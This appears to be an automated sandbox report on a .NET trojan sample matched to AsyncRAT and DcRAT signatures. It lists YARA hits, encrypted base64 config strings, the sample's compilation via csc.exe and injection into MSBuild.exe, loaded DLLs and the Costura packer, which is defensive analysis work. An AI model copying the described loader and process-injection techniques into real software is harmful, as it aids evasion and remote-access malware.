Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.325f8e8.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.325f8e8.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.325f8e8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 00000004.00000002.2388462794.0000000002D96000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2388462794.000000000300F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2387305116.00000000010F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2387305116.0000000001083000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: MSBuild.exe PID: 5036, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12

Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, Settings.cs

Base64 encoded string: 'mCjC1mXFXZy8ioCjbn6w8CRTyqr/xm5hi9zK+NDRUOqE4m3xYvKfU5Peq4LACN/llFaMspJwsqeFMiRbG7QyuA==', 'PUn+GkTlaHSLjrKYb+Bp0dG60k3Tf5GZSbkUwtBfuOwSvfCAUkcp4Oc50HzcOS+2hAWsmDUZ6A49B/jks0kaQg==', 'yeptw6952mPzduhOgtWo0mwhgEhqGnbrASu8GzG4UF7BSqLGGI3+QTOP0LQk9W/OgnFFF2oAeai3tGwX3gjndw==', 'PSZ0LHwEG1Hb+2NbqQujB+iznAisxarF7nbUMGsPInWSYqWhvqbuTmEccpb0b0AlRuPzuMf7WSmbn8r8FbTJy5PD2X2pZZwkiSv4x8WiFik7GrWAYZZ3NAoRLn1/JdnXjGL9qsWdHBC+aG2bEeqa5NPDrYQIZwRjkkvElN0OXNvAkYom9QXTqf0KacRjk7cRwrrEX6v0d/cy1evDFcXpH9R9dvc8JQIfWxcqH/eUDbZ4pyHhKfs7si0s8+ce+5UBRbsWQFR/hQ09HcYlkkQk42HShK41V09cqpC3vvjb1zSrqQeHcrlWc2nDIpEweeajU0iq9VTzINnQaHIsD+A57vy0xcw5bkZTS9Z1H93q+qW6UyAaqn/clKfaW2KyJYp9tcoRgx1a3oYAyUJ3kjynScMfouULNKvz7YEeB9+Qm0CK7zN6yk0ObpiBljSeLy/lLzqPIHTEGiIVsqWwDbR3s1Zhg0pF19fmPntdj4665QgS4UL9aDU7Tbo80DfcfPF0LfQmvi5lxA1QnH0SdsNnX7cwGCV+g5dOFG2iBuwqUNhVM8s9bleBWVhAfPiwFERIQdNIJ0uf4P1bbaH1EVnS81EzyXu1U47X8u+83kreHxOgTusWxNCDfN00+tzPOWAuVsXEt7/bPKPYsWF3VVOZAjXisavjkWbRUS8yhY+zMX86tLAAYXVv8JUVhEeqZ2XRuO+W5d+rDTu+JGDssZgZZZQqM7iH42bwZZ4aY12NnRbMRdPw0nbrTdk9bTm0+wetlUHxPfxNLroTntF2FifRtAaXumpGeaT4f69nhQc4uVud9Dt5I4RM5i8uwO3Mm91aYZPLcIq7/rgwNwIzvu3WdTAQg5qeaysYk1lnNLIZ6So33aIIdswtkkcGVGgHHZK7Gr8EjSIknT8Rww28IAzEWGTiTIN6EQ939cx9OfcFQxh+MuvkaH3e+S3dO2oLn9X5yq6xmvCgSOGviHlFphOP/ZC0US9u1eSNiSn8e5jaJzMkB8Ql2tZKDH5pDK/G8qtugYiuYsdSduTxTfM821lWfMZdTUlararLtW/QUICoIUelDh43Cyp+dWloLlCT4poG', 'x77LgmTr3oNtRC+EBHxfeeBAkCmCCYtyepMobBGfJeq0tBhOfqlaD75XvZGNvUXUAzH2crMSu9sD0B7Z1QfmsUYq2G7X+ci1fE6xIeGcTGpLl2srGNN7gZgdiCOnnv4BV+UhVCFe9PQnCCxXsV6y0jOTgQN0H0ynpNrFddjc5Hm2yGYQLa+zEe4uMs2kwI7P9L27q/DwZi2Q+6ytjsJpOAlbU2nNHDUetLmU2s8ei5202dZMaaFtE8TLEuURLPN0NOOYC7NYCsYcBOrUUdoMC3Qa2IHy2Sj+/6vsmL8fST8=', 'IM0CMg420YzeigUcsg8rcxoih1oupgQXHNvEwlN+34BFP6/HvJ1FAvdDSqd+hjuNp7yGpAkDgYBCBbS2TX+oHw==', 'vIirHVJobjs5JInfBr6OF/GOSfapO92o2wxQjXOGuaYDLPxUomeC0Tm/0Q+ORcfK2vJ9qnI3zllKsWvij2Hsbg==', 'yeNaph23QqEvnB729bvMI6tcgbPReIE6FmdXMOLPi1tl9nDODtkXRujKo6XY++801pr76Bipx/9c7OHBn6pUJg==', 'zsy2s79YozzLqkFPcU1UUlT8wY3UI2lKzyE1ACBETF/B5UgPPtVR/gSVlm6eZEAcPqWyRDOxU0+XszAKZiqkfg=='

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@8/9@1/1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2576:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\sypjebdnczk

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

File created: C:\Users\user\AppData\Local\Temp\5dljncsi

Jump to behavior

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Virustotal: Detection: 31%
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8956.tmp" "c:\Users\user\AppData\Local\Temp\5dljncsi\CSC46F1B711EF3E491E90EFFC96C5EAD74.TMP"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8956.tmp" "c:\Users\user\AppData\Local\Temp\5dljncsi\CSC46F1B711EF3E491E90EFFC96C5EAD74.TMP"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: q costura.packetlib.pdb.compressed source: MSBuild.exe, 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q7C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.pdbt source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032E1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q7C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.pdb source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032E1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: packetlibAcostura.packetlib.dll.compressedAcostura.packetlib.pdb.compressed#system.appcontextQcostura.system.appcontext.dll.compressed;system.collections.concurrenticostura.system.collections.concurrent.dll.compressed%system.collectionsScostura.system.collections.dll.compressed;system.collections.nongenericicostura.system.collections.nongeneric.dll.compressed=system.collections.specializedkcostura.system.collections.specialized.dll.compressed+system.componentmodelYcostura.system.componentmodel.dll.compressedKsystem.componentmodel.eventbasedasyncycostura.system.componentmodel.eventbasedasync.dll.compressedAsystem.componentmodel.primitivesocostura.system.componentmodel.primitives.dll.compressedGsystem.componentmodel.typeconverterucostura.system.componentmodel.typeconverter.dll.compressed source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed5microsoft.win32.primitivesccostura.microsoft.win32.primitives.dll.compressed source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.packetlib.pdb.compressed source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, AssemblyLoader.cs

.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.44195d0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32ab9fc.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.32afe74.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.325f8e8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1176630709.0000000004239000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2384955038.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1176630709.0000000004419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe PID: 3928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5036, type: MEMORYSTR

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Static PE information: 0x9CAA5CAD [Wed Apr 16 10:02:21 2053 UTC]

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline"
